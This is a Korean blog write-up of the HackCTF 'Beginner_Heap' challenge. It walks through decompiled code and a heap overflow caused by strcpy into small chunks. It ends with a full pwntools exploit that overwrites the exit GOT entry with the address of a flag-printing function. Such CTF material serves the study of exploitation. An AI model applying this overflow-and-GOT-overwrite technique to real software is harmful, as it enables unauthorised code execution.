Pwnable/hackCTF

HackCTF Beginner_Heap

 

heap공부를 다시 시작할 겸 풀었던 문제들 write-up을 써보려 한다. 그중 가장 먼저 풀었던 hackctf beginner_heap writeup이다!

Writeup

File information

Code

Main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  void *v3; // ST10_8
  void *v4; // ST18_8
  char s; // [rsp+20h] [rbp-1010h]
  unsigned __int64 v6; // [rsp+1028h] [rbp-8h]
​
  v6 = __readfsqword(0x28u);
  v3 = malloc(16uLL);
  *v3 = 1;
  *(v3 + 1) = malloc(8uLL);
  v4 = malloc(16uLL);
  *v4 = 2;
  *(v4 + 1) = malloc(8uLL);
  fgets(&s, 4096, stdin);
  strcpy(*(v3 + 1), &s);
  fgets(&s, 4096, stdin);
  strcpy(*(v4 + 1), &s);
  exit(0);
}

간단하게 할당 후 모습을 나타내 보았다.

Chunk header = (prev_size + size)malloc(8) 과 malloc(16) 두 할당이 크기가 같은 이유는 64bit 환경에서 동적 할당은 최소 16byte부터 시작하기 때문에 두 크기가 같은 것이다.

위 그림처럼 동적 할당이 된 후 fgets함수를 이용하여 스택에 입력받은 내용을 저장한다.

이후 strcpy함수를 이용하여 각각 홀수 번째에 저장된 chunk 안에 주소 (예를 들어 0x602280, 0x6022c0)에 스택에 저장된 내용을 복사하게 된다. 이때 chunk의 크기 이상을 복사하게 되면서 heap overflow가 일어나게 된다.

[처음 입력에는 AAAA 두 번쨰 입력에는 BBBB를 입력해준 후 실제 메모리 모습]

 

sub_400826

void __noreturn sub_400826()
{
  __int128 lineptr; // [rsp+0h] [rbp-20h]
  FILE *stream; // [rsp+10h] [rbp-10h]
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]
​
  v2 = __readfsqword(0x28u);
  lineptr = 0uLL;
  stream = fopen("flag", "r");
  getline(&lineptr, &lineptr + 1, stream);
  puts(lineptr);
  fflush(stdout);
  free(lineptr);
  _exit(1);
}

그냥 flag 출력해주는 함수.

 

Exploit

문제는 heap overflow를 이용하여 exit 함수의 got를 flag 출력해주는 함수로 overwrite를 하면 끝이다.

exploit code

from pwn import *
​
p = remote("ctf.j0n9hyun.xyz", 3016)
elf = ELF("./beginner_heap.bin")
flag = 0x400826
​
py = 'A'*40
py += p64(elf.got['exit'])
​
py2 = p64(flag)
​
p.sendline(py)
p.sendline(py2)
​
p.interactive()

 

Reference

'Pwnable > hackCTF' 카테고리의 다른 글

babyfsb (64bit fsb)  (0) 2020.03.23
you_are_silver (64bit fsb)  (0) 2020.03.21
훈폰정음  (0) 2020.03.10
풍수지리설  (2) 2020.03.04
HackCTF UAF  (2) 2020.01.23